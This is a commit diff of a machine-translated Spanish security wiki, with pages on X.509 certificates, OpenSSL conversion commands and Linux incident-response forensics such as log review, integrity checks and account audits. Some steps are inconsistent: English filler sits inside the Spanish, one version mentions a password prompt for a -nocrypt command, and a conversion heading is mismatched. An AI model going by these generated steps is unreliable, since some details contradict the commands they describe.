Translated ['cryptography/certificates.md', 'forensics/basic-forensic-me

This commit is contained in:
Translator 2023-09-04 23:25:20 +00:00
parent 28ef860f39
commit cbad50f201
22 changed files with 710 additions and 613 deletions

View file

@ -15,18 +15,18 @@
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\ Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## ¿Qué es un Certificado? ## ¿Qué es un Certificado?
En criptografía, un **certificado de clave pública**, también conocido como **certificado digital** o **certificado de identidad**, es un documento electrónico utilizado para demostrar la propiedad de una clave pública. El certificado incluye información sobre la clave, información sobre la identidad de su propietario (llamado el sujeto) y la firma digital de una entidad que ha verificado el contenido del certificado (llamada el emisor). Si la firma es válida y el software que examina el certificado confía en el emisor, entonces puede utilizar esa clave para comunicarse de forma segura con el sujeto del certificado. En criptografía, un **certificado de clave pública**, también conocido como **certificado digital** o **certificado de identidad**, es un documento electrónico utilizado para demostrar la propiedad de una clave pública. El certificado incluye información sobre la clave, información sobre la identidad de su propietario (llamado el sujeto) y la firma digital de una entidad que ha verificado el contenido del certificado (llamada el emisor). Si la firma es válida y el software que examina el certificado confía en el emisor, entonces puede usar esa clave para comunicarse de manera segura con el sujeto del certificado.
En un esquema típico de [infraestructura de clave pública](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI), el emisor del certificado es una [autoridad de certificación](https://en.wikipedia.org/wiki/Certificate\_authority) (CA), generalmente una empresa que cobra a los clientes por emitir certificados para ellos. En cambio, en un esquema de [red de confianza](https://en.wikipedia.org/wiki/Web\_of\_trust), las personas firman las claves de los demás directamente, en un formato que realiza una función similar a la de un certificado de clave pública. En un esquema típico de [infraestructura de clave pública](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI), el emisor del certificado es una [autoridad de certificación](https://en.wikipedia.org/wiki/Certificate\_authority) (CA), generalmente una empresa que cobra a los clientes por emitir certificados para ellos. En cambio, en un esquema de [red de confianza](https://en.wikipedia.org/wiki/Web\_of\_trust), las personas firman las claves de los demás directamente, en un formato que realiza una función similar a la de un certificado de clave pública.
El formato más común para los certificados de clave pública está definido por [X.509](https://en.wikipedia.org/wiki/X.509). Debido a que X.509 es muy general, el formato está adicionalmente restringido por perfiles definidos para ciertos casos de uso, como [Infraestructura de Clave Pública (X.509)](https://en.wikipedia.org/wiki/PKIX) según se define en el RFC 5280. El formato más común para los certificados de clave pública está definido por [X.509](https://en.wikipedia.org/wiki/X.509). Debido a que X.509 es muy general, el formato está más restringido por perfiles definidos para ciertos casos de uso, como [Infraestructura de Clave Pública (X.509)](https://en.wikipedia.org/wiki/PKIX) según se define en RFC 5280.
## Campos Comunes de x509 ## Campos Comunes de x509
@ -47,7 +47,7 @@ El formato más común para los certificados de clave pública está definido po
* **Localidad (L)**: Lugar local donde se puede encontrar la organización. * **Localidad (L)**: Lugar local donde se puede encontrar la organización.
* **Organización (O)**: Nombre de la organización * **Organización (O)**: Nombre de la organización
* **Unidad Organizativa (OU)**: División de una organización (como "Recursos Humanos"). * **Unidad Organizativa (OU)**: División de una organización (como "Recursos Humanos").
* **No Antes**: La fecha y hora más temprana en la que el certificado es válido. Por lo general, se establece unas horas o días antes del momento en que se emitió el certificado, para evitar problemas de [desviación de reloj](https://en.wikipedia.org/wiki/Clock\_skew#On\_a\_network). * **No Antes**: La fecha y hora más temprana en la que el certificado es válido. Por lo general, se establece unas horas o días antes del momento en que se emitió el certificado, para evitar problemas de [desincronización de relojes](https://en.wikipedia.org/wiki/Clock\_skew#On\_a\_network).
* **No Después**: La fecha y hora a partir de la cual el certificado ya no es válido. * **No Después**: La fecha y hora a partir de la cual el certificado ya no es válido.
* **Clave Pública**: Una clave pública perteneciente al sujeto del certificado. (Esta es una de las partes principales, ya que es lo que firma la CA) * **Clave Pública**: Una clave pública perteneciente al sujeto del certificado. (Esta es una de las partes principales, ya que es lo que firma la CA)
* **Algoritmo de Clave Pública**: Algoritmo utilizado para generar la clave pública. Como RSA. * **Algoritmo de Clave Pública**: Algoritmo utilizado para generar la clave pública. Como RSA.
@ -57,13 +57,13 @@ El formato más común para los certificados de clave pública está definido po
* **Algoritmo de Firma**: El algoritmo utilizado para firmar el certificado de clave pública. * **Algoritmo de Firma**: El algoritmo utilizado para firmar el certificado de clave pública.
* **Firma**: Una firma del cuerpo del certificado por la clave privada del emisor. * **Firma**: Una firma del cuerpo del certificado por la clave privada del emisor.
* **Extensiones x509v3** * **Extensiones x509v3**
* **Uso de Clave**: Los usos criptográficos válidos de la clave pública del certificado. Los valores comunes incluyen validación de firma digital, cifrado de clave y firma de certificado. * **Uso de Clave**: Los usos criptográficos válidos de la clave pública del certificado. Los valores comunes incluyen la validación de firma digital, el cifrado de clave y la firma de certificados.
* En un certificado web, esto aparecerá como una _extensión X509v3_ y tendrá el valor `Firma Digital` * En un certificado web, esto aparecerá como una _extensión X509v3_ y tendrá el valor `Firma Digital`
* **Uso Extendido de Clave**: Las aplicaciones en las que se puede utilizar el certificado. Los valores comunes incluyen autenticación de servidor TLS, protección de correo electrónico y firma de código. * **Uso Extendido de Clave**: Las aplicaciones en las que se puede utilizar el certificado. Los valores comunes incluyen la autenticación del servidor TLS, la protección de correo electrónico y la firma de código.
* En un certificado web, esto aparecerá como una _extensión X509v3_ y tendrá el valor `Autenticación de Servidor Web TLS` * En un certificado web, esto aparecerá como una _extensión X509v3_ y tendrá el valor `Autenticación del Servidor Web TLS`
* **Nombre Alternativo del Sujeto:** Permite a los usuarios especificar nombres de host adicionales para un solo certificado SSL. El uso de la extensión SAN es una práctica estándar para los certificados SSL y está en camino de reemplazar el uso del nombre común. * **Nombre Alternativo del Sujeto:** Permite a los usuarios especificar nombres de host adicionales para un solo certificado SSL. El uso de la extensión SAN es una práctica estándar para los certificados SSL y está en camino de reemplazar el uso del nombre común.
* **Restricción Básica:** Esta extensión describe si el certificado es un certificado de CA o un certificado de entidad final. Un certificado de CA es algo que firma certificados de otros y un certificado de entidad final es el certificado utilizado en una página web, por ejemplo (la última parte de la cadena). * **Restricción Básica:** Esta extensión describe si el certificado es un certificado de CA o un certificado de entidad final. Un certificado de CA es algo que firma certificados de otros y un certificado de entidad final es el certificado utilizado en una página web, por ejemplo (la última parte de la cadena).
* **Identificador de Clave del Sujeto** (SKI): Esta extensión declara un **identificador** único para la **clave pública** en el certificado. Es requerido en todos los certificados de CA. Las CAs propagan su propio SKI a la extensión Identificador de Clave del Emisor (AKI) en los certificados emitidos. Es el hash de la clave pública del sujeto. * **Identificador de Clave del Sujeto** (SKI): Esta extensión declara un **identificador** único para la **clave** pública en el certificado. Es necesario en todos los certificados de CA. Las CA propagan su propio SKI a la extensión Identificador de Clave del Emisor (AKI) en los certificados emitidos. Es el hash de la clave pública del sujeto.
* **Identificador de clave de autoridad**: Contiene un identificador de clave que se deriva de la clave pública en el certificado emisor. Es el hash de la clave pública del emisor. * **Identificador de clave de autoridad**: Contiene un identificador de clave que se deriva de la clave pública en el certificado emisor. Es el hash de la clave pública del emisor.
* **Acceso a la información de la autoridad** (AIA): Esta extensión contiene como máximo dos tipos de información: * **Acceso a la información de la autoridad** (AIA): Esta extensión contiene como máximo dos tipos de información:
* Información sobre **cómo obtener el emisor de este certificado** (método de acceso del emisor de CA) * Información sobre **cómo obtener el emisor de este certificado** (método de acceso del emisor de CA)
@ -73,7 +73,7 @@ El formato más común para los certificados de clave pública está definido po
### Diferencia entre OCSP y Puntos de distribución de la lista de revocación (CRL) ### Diferencia entre OCSP y Puntos de distribución de la lista de revocación (CRL)
**OCSP** (RFC 2560) es un protocolo estándar que consta de un **cliente OCSP y un respondedor OCSP**. Este protocolo **determina el estado de revocación de un certificado de clave pública digital dado** **sin tener que descargar** la **CRL completa**.\ **OCSP** (RFC 2560) es un protocolo estándar que consta de un **cliente OCSP y un respondedor OCSP**. Este protocolo **determina el estado de revocación de un certificado de clave pública digital dado** **sin tener que descargar** la **lista de revocación completa**.\
**CRL** es el **método tradicional** para verificar la validez del certificado. Una **CRL proporciona una lista de números de serie de certificados** que han sido revocados o ya no son válidos. Las CRL permiten al verificador verificar el estado de revocación del certificado presentado mientras lo verifica. Las CRL están limitadas a 512 entradas.\ **CRL** es el **método tradicional** para verificar la validez del certificado. Una **CRL proporciona una lista de números de serie de certificados** que han sido revocados o ya no son válidos. Las CRL permiten al verificador verificar el estado de revocación del certificado presentado mientras lo verifica. Las CRL están limitadas a 512 entradas.\
De [aquí](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm). De [aquí](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm).
@ -115,13 +115,13 @@ Existen diferentes formatos que se pueden utilizar para almacenar un certificado
#### **Formato P7B/PKCS#7** #### **Formato P7B/PKCS#7**
* El formato PKCS#7 o P7B se almacena en formato Base64 ASCII y tiene una extensión de archivo .p7b o .p7c. * El formato PKCS#7 o P7B se almacena en formato ASCII codificado en Base64 y tiene una extensión de archivo .p7b o .p7c.
* Un archivo P7B solo contiene certificados y certificados de cadena (CA intermedias), no la clave privada. * Un archivo P7B solo contiene certificados y certificados de cadena (CA intermedias), no la clave privada.
* Las plataformas más comunes que admiten archivos P7B son Microsoft Windows y Java Tomcat. * Las plataformas más comunes que admiten archivos P7B son Microsoft Windows y Java Tomcat.
#### **Formato PFX/P12/PKCS#12** #### **Formato PFX/P12/PKCS#12**
* El formato PKCS#12 o PFX/P12 es un formato binario para almacenar el certificado del servidor, certificados intermedios y la clave privada en un solo archivo cifrable. * El formato PKCS#12 o PFX/P12 es un formato binario para almacenar el certificado del servidor, los certificados intermedios y la clave privada en un solo archivo cifrable.
* Estos archivos suelen tener extensiones como .pfx y .p12. * Estos archivos suelen tener extensiones como .pfx y .p12.
* Se utilizan principalmente en máquinas con Windows para importar y exportar certificados y claves privadas. * Se utilizan principalmente en máquinas con Windows para importar y exportar certificados y claves privadas.
@ -131,15 +131,13 @@ Existen diferentes formatos que se pueden utilizar para almacenar un certificado
``` ```
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
``` ```
To convert a PEM (Privacy-Enhanced Mail) certificate file to DER (Distinguished Encoding Rules) format, you can use the OpenSSL command-line tool. The following command can be used for the conversion: To convert a PEM (Privacy Enhanced Mail) certificate file to DER (Distinguished Encoding Rules) format, you can use the OpenSSL command-line tool. The following command can be used:
```bash ```bash
openssl x509 -in certificate.pem -outform der -out certificate.der openssl x509 -outform der -in certificate.pem -out certificate.der
``` ```
Replace `certificate.pem` with the path to your PEM certificate file. After running the command, a new file named `certificate.der` will be created, containing the certificate in DER format. This command takes the input file `certificate.pem` in PEM format and converts it to DER format, saving the output in the file `certificate.der`.
#### **Convert DER to PEM**
``` ```
openssl x509 -outform der -in certificatename.pem -out certificatename.der openssl x509 -outform der -in certificatename.pem -out certificatename.der
``` ```
@ -170,7 +168,7 @@ openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b
``` ```
**Convertir PKCS7 a PEM** **Convertir PKCS7 a PEM**
A veces, es posible que necesites convertir un archivo en formato PKCS7 a formato PEM para su uso en ciertos sistemas o aplicaciones. Aquí te mostramos cómo hacerlo: A veces, es posible que necesites convertir un archivo en formato PKCS7 a formato PEM para su uso en diferentes aplicaciones o sistemas. Aquí te mostramos cómo hacerlo:
1. Abre una terminal y asegúrate de tener instalado OpenSSL en tu sistema. 1. Abre una terminal y asegúrate de tener instalado OpenSSL en tu sistema.
@ -182,15 +180,15 @@ A veces, es posible que necesites convertir un archivo en formato PKCS7 a format
Asegúrate de reemplazar "archivo.p7b" con la ruta y el nombre de tu archivo PKCS7. Asegúrate de reemplazar "archivo.p7b" con la ruta y el nombre de tu archivo PKCS7.
3. Una vez que se ejecute el comando, se generará un nuevo archivo en formato PEM con el nombre "archivo.pem". 3. Una vez que se ejecute el comando, se generará un nuevo archivo en formato PEM con el nombre "archivo.pem". Este archivo contendrá los certificados extraídos del archivo PKCS7.
Ahora tienes tu archivo PKCS7 convertido a formato PEM y listo para ser utilizado en tu sistema o aplicación preferida. Ahora has convertido con éxito un archivo PKCS7 a formato PEM. Puedes utilizar el archivo PEM resultante en diferentes aplicaciones o sistemas que admitan este formato.
``` ```
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
``` ```
**Convertir pfx a PEM** **Convertir pfx a PEM**
**Nota:** El formato PKCS#12 o PFX es un formato binario para almacenar el certificado del servidor, los certificados intermedios y la clave privada en un archivo encriptable. Los archivos PFX generalmente tienen extensiones como .pfx y .p12. Los archivos PFX se utilizan típicamente en máquinas con Windows para importar y exportar certificados y claves privadas. **Nota:** El formato PKCS#12 o PFX es un formato binario para almacenar el certificado del servidor, los certificados intermedios y la clave privada en un archivo encriptable. Los archivos PFX suelen tener extensiones como .pfx y .p12. Los archivos PFX se utilizan típicamente en máquinas con Windows para importar y exportar certificados y claves privadas.
``` ```
openssl pkcs12 -in certificatename.pfx -out certificatename.pem openssl pkcs12 -in certificatename.pfx -out certificatename.pem
``` ```
@ -217,11 +215,9 @@ Para convertir un archivo PEM a PKCS8, puedes utilizar la herramienta OpenSSL. A
Asegúrate de reemplazar "archivo.pem" con el nombre de tu archivo PEM y "archivo.pk8" con el nombre que deseas para el archivo PKCS8 resultante. Asegúrate de reemplazar "archivo.pem" con el nombre de tu archivo PEM y "archivo.pk8" con el nombre que deseas para el archivo PKCS8 resultante.
3. Se te pedirá que ingreses una contraseña para proteger la clave privada en el archivo PKCS8. Ingresa una contraseña segura y recuérdala, ya que la necesitarás para acceder a la clave privada en el futuro. 3. Una vez que se ejecute el comando, se generará un nuevo archivo con el formato PKCS8 en la ubicación especificada.
4. Una vez que se complete el proceso, tendrás un archivo en formato PKCS8 listo para usar. Recuerda que el formato PKCS8 es compatible con una amplia gama de aplicaciones y sistemas, por lo que esta conversión puede ser útil en diversas situaciones.
Recuerda que la conversión de PEM a PKCS8 solo cambia el formato del archivo y no afecta la clave privada en sí. Asegúrate de proteger adecuadamente el archivo PKCS8 y la contraseña asociada para mantener la seguridad de tu clave privada.
``` ```
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8 openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
``` ```
@ -234,7 +230,7 @@ openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
``` ```
**2- Convertir CER y Clave Privada a PFX** **2- Convertir CER y Clave Privada a PFX**
En algunos casos, es posible que necesite convertir un archivo de certificado CER y una clave privada en un archivo PFX. Esto puede ser útil si desea importar el certificado y la clave privada en un formato más comúnmente utilizado, como PFX. En algunos casos, es posible que necesite convertir un archivo de certificado CER y una clave privada en un archivo PFX. Esto puede ser útil si desea importar el certificado y la clave privada en un formato único para su uso en diferentes aplicaciones o sistemas.
Para realizar esta conversión, puede utilizar la herramienta OpenSSL. Asegúrese de tener OpenSSL instalado en su sistema antes de continuar. Para realizar esta conversión, puede utilizar la herramienta OpenSSL. Asegúrese de tener OpenSSL instalado en su sistema antes de continuar.
@ -250,16 +246,16 @@ Para realizar esta conversión, puede utilizar la herramienta OpenSSL. Asegúres
3. Se le pedirá que ingrese una contraseña para proteger el archivo PFX. Ingrese una contraseña segura y recuerde guardarla en un lugar seguro. 3. Se le pedirá que ingrese una contraseña para proteger el archivo PFX. Ingrese una contraseña segura y recuerde guardarla en un lugar seguro.
4. Una vez que se complete el proceso, se creará un nuevo archivo PFX que contiene el certificado y la clave privada combinados. 4. Una vez que se complete el proceso, se generará un archivo PFX que contiene el certificado y la clave privada en un formato único.
Ahora puede utilizar el archivo PFX para importar el certificado y la clave privada en aplicaciones o sistemas que admitan este formato. Ahora puede utilizar el archivo PFX en diferentes aplicaciones o sistemas que admitan este formato para importar el certificado y la clave privada.
``` ```
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
``` ```
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.io/) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas comunitarias más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -12,7 +12,7 @@ Obtén acceso hoy mismo:
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
@ -83,7 +83,7 @@ También se puede utilizar LiME para **enviar el volcado a través de la red** e
#### Apagado #### Apagado
En primer lugar, deberás **apagar el sistema**. Esto no siempre es una opción, ya que a veces el sistema será un servidor de producción que la empresa no puede permitirse apagar.\ En primer lugar, deberás **apagar el sistema**. Esto no siempre es una opción, ya que a veces el sistema será un servidor de producción que la empresa no puede permitirse apagar.\
Hay **2 formas** de apagar el sistema, un **apagado normal** y un **apagado "desenchufar"**. El primero permitirá que los **procesos terminen como de costumbre** y que el **sistema de archivos** se **sincronice**, pero también permitirá que el posible **malware** **destruya evidencia**. El enfoque de "desenchufar" puede implicar **alguna pérdida de información** (no se perderá mucha información, ya que ya se tomó una imagen de la memoria) y el **malware no tendrá oportunidad** de hacer nada al respecto. Por lo tanto, si **sospechas** que puede haber un **malware**, simplemente ejecuta el **comando `sync`** en el sistema y desenchúfalo. Hay **2 formas** de apagar el sistema, un **apagado normal** y un **apagado "desenchufar"**. El primero permitirá que los **procesos terminen como de costumbre** y que el **sistema de archivos** se **sincronice**, pero también permitirá que el posible **malware** **destruya evidencia**. El enfoque de "desenchufar" puede implicar **alguna pérdida de información** (no se perderá mucha información ya que ya se tomó una imagen de la memoria) y el **malware no tendrá oportunidad** de hacer nada al respecto. Por lo tanto, si **sospechas** que puede haber un **malware**, simplemente ejecuta el **comando `sync`** en el sistema y desenchúfalo.
#### Tomar una imagen del disco #### Tomar una imagen del disco
@ -154,8 +154,8 @@ ThisisTheMasterSecret
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas comunitarias más avanzadas del mundo.\ Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
Obtenga acceso hoy: Obtenga acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -163,7 +163,7 @@ Obtenga acceso hoy:
### Archivos del sistema modificados ### Archivos del sistema modificados
Algunos sistemas Linux tienen una función para verificar la integridad de muchos componentes instalados, lo que proporciona una forma efectiva de identificar archivos inusuales o fuera de lugar. Por ejemplo, `rpm -Va` en Linux está diseñado para verificar todos los paquetes que se instalaron usando el Administrador de paquetes RedHat. Algunos sistemas Linux tienen una función para **verificar la integridad de muchos componentes instalados**, lo que proporciona una forma efectiva de identificar archivos inusuales o fuera de lugar. Por ejemplo, `rpm -Va` en Linux está diseñado para verificar todos los paquetes que se instalaron utilizando el Administrador de paquetes RedHat.
```bash ```bash
#RedHat #RedHat
rpm -Va rpm -Va
@ -265,17 +265,17 @@ Busque en todos los archivos de registro disponibles en el sistema comprometido
### Registros puros ### Registros puros
Los eventos de **inicio de sesión** registrados en los registros del sistema y de seguridad, incluidos los inicios de sesión a través de la red, pueden revelar que el **malware** o un **intruso ha obtenido acceso** a un sistema comprometido a través de una cuenta específica en un momento determinado. Otros eventos en torno al momento de una infección por malware se pueden capturar en los registros del sistema, incluida la **creación** de un **nuevo servicio** o nuevas cuentas en el momento de un incidente.\ Los eventos de **inicio de sesión** registrados en los registros del sistema y de seguridad, incluidos los inicios de sesión a través de la red, pueden revelar que el **malware** o un **intruso ha obtenido acceso** a un sistema comprometido a través de una cuenta específica en un momento determinado. Otros eventos en torno al momento de una infección de malware pueden capturarse en los registros del sistema, incluida la **creación** de un **nuevo servicio** o nuevas cuentas en el momento de un incidente.\
Inicios de sesión del sistema interesantes: Inicios de sesión del sistema interesantes:
* **/var/log/syslog** (debian) o **/var/log/messages** (Redhat) * **/var/log/syslog** (debian) o **/var/log/messages** (Redhat)
* Muestra mensajes generales e información sobre el sistema. Es un registro de datos de toda la actividad en todo el sistema global. * Muestra mensajes generales e información sobre el sistema. Es un registro de datos de toda la actividad en el sistema global.
* **/var/log/auth.log** (debian) o **/var/log/secure** (Redhat) * **/var/log/auth.log** (debian) o **/var/log/secure** (Redhat)
* Guarda registros de autenticación tanto para inicios de sesión exitosos como fallidos, y procesos de autenticación. El almacenamiento depende del tipo de sistema. * Guarda registros de autenticación tanto para inicios de sesión exitosos como fallidos, y procesos de autenticación. El almacenamiento depende del tipo de sistema.
* `cat /var/log/auth.log | grep -iE "session opened for|accepted password|new session|not in sudoers"` * `cat /var/log/auth.log | grep -iE "session opened for|accepted password|new session|not in sudoers"`
* **/var/log/boot.log**: mensajes de inicio y información de arranque. * **/var/log/boot.log**: mensajes de inicio y información de arranque.
* **/var/log/maillog** o **var/log/mail.log**: es para registros del servidor de correo, útil para obtener información sobre postfix, smtpd u otros servicios relacionados con el correo electrónico que se ejecutan en su servidor. * **/var/log/maillog** o **var/log/mail.log**: es para registros del servidor de correo, útil para obtener información sobre postfix, smtpd u otros servicios relacionados con el correo electrónico que se ejecutan en su servidor.
* **/var/log/kern.log**: mantiene registros y advertencias del kernel. Los registros de actividad del kernel (por ejemplo, dmesg, kern.log, klog) pueden mostrar que un servicio en particular se bloqueó repetidamente, lo que podría indicar que se instaló una versión troyanizada inestable. * **/var/log/kern.log**: guarda registros y advertencias del kernel. Los registros de actividad del kernel (por ejemplo, dmesg, kern.log, klog) pueden mostrar que un servicio en particular se bloqueó repetidamente, lo que podría indicar que se instaló una versión troyanizada inestable.
* **/var/log/dmesg**: un repositorio para mensajes de controladores de dispositivos. Use **dmesg** para ver los mensajes en este archivo. * **/var/log/dmesg**: un repositorio para mensajes de controladores de dispositivos. Use **dmesg** para ver los mensajes en este archivo.
* **/var/log/faillog**: registra información sobre inicios de sesión fallidos. Por lo tanto, es útil para examinar posibles violaciones de seguridad como hackeos de credenciales de inicio de sesión y ataques de fuerza bruta. * **/var/log/faillog**: registra información sobre inicios de sesión fallidos. Por lo tanto, es útil para examinar posibles violaciones de seguridad como hackeos de credenciales de inicio de sesión y ataques de fuerza bruta.
* **/var/log/cron**: registra mensajes relacionados con Crond (trabajos cron). Por ejemplo, cuando el demonio cron inicia un trabajo. * **/var/log/cron**: registra mensajes relacionados con Crond (trabajos cron). Por ejemplo, cuando el demonio cron inicia un trabajo.
@ -343,21 +343,21 @@ Más ejemplos e información en el github: [https://github.com/snovvcrash/usbrip
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Utilice [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\ Utilice [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.\
Obtenga acceso hoy mismo: Obtenga acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Revisar cuentas de usuario y actividades de inicio de sesión ## Revisar cuentas de usuario y actividades de inicio de sesión
Examine los archivos _**/etc/passwd**_, _**/etc/shadow**_ y los **registros de seguridad** en busca de nombres o cuentas inusuales creadas y/o utilizadas en proximidad a eventos no autorizados conocidos. También verifique posibles ataques de fuerza bruta de sudo.\ Examine los archivos _**/etc/passwd**_, _**/etc/shadow**_ y los registros de seguridad en busca de nombres o cuentas inusuales creadas y/o utilizadas en proximidad a eventos no autorizados conocidos. Además, verifique posibles ataques de fuerza bruta a sudo.\
Además, verifique archivos como _**/etc/sudoers**_ y _**/etc/groups**_ en busca de privilegios inesperados otorgados a los usuarios.\ Además, verifique archivos como _**/etc/sudoers**_ y _**/etc/groups**_ en busca de privilegios inesperados otorgados a los usuarios.\
Por último, busque cuentas sin contraseñas o contraseñas **fáciles de adivinar**. Por último, busque cuentas sin contraseñas o contraseñas fáciles de adivinar.
## Examinar el sistema de archivos ## Examinar el sistema de archivos
Las estructuras de datos del sistema de archivos pueden proporcionar cantidades sustanciales de **información** relacionada con un incidente de **malware**, incluyendo el **momento** de los eventos y el **contenido** real del **malware**.\ Las estructuras de datos del sistema de archivos pueden proporcionar cantidades sustanciales de **información** relacionada con un incidente de **malware**, incluido el **momento** de los eventos y el **contenido** real del **malware**.\
El **malware** se está diseñando cada vez más para **evitar el análisis del sistema de archivos**. Algunos malware alteran las marcas de fecha y hora en archivos maliciosos para dificultar su detección mediante el análisis de la línea de tiempo. Otros códigos maliciosos están diseñados para almacenar solo cierta información en la memoria para minimizar la cantidad de datos almacenados en el sistema de archivos.\ El **malware** se está diseñando cada vez más para **frustrar el análisis del sistema de archivos**. Algunos malware alteran las marcas de fecha y hora en archivos maliciosos para dificultar su detección mediante el análisis de la línea de tiempo. Otros códigos maliciosos están diseñados para almacenar solo cierta información en la memoria para minimizar la cantidad de datos almacenados en el sistema de archivos.\
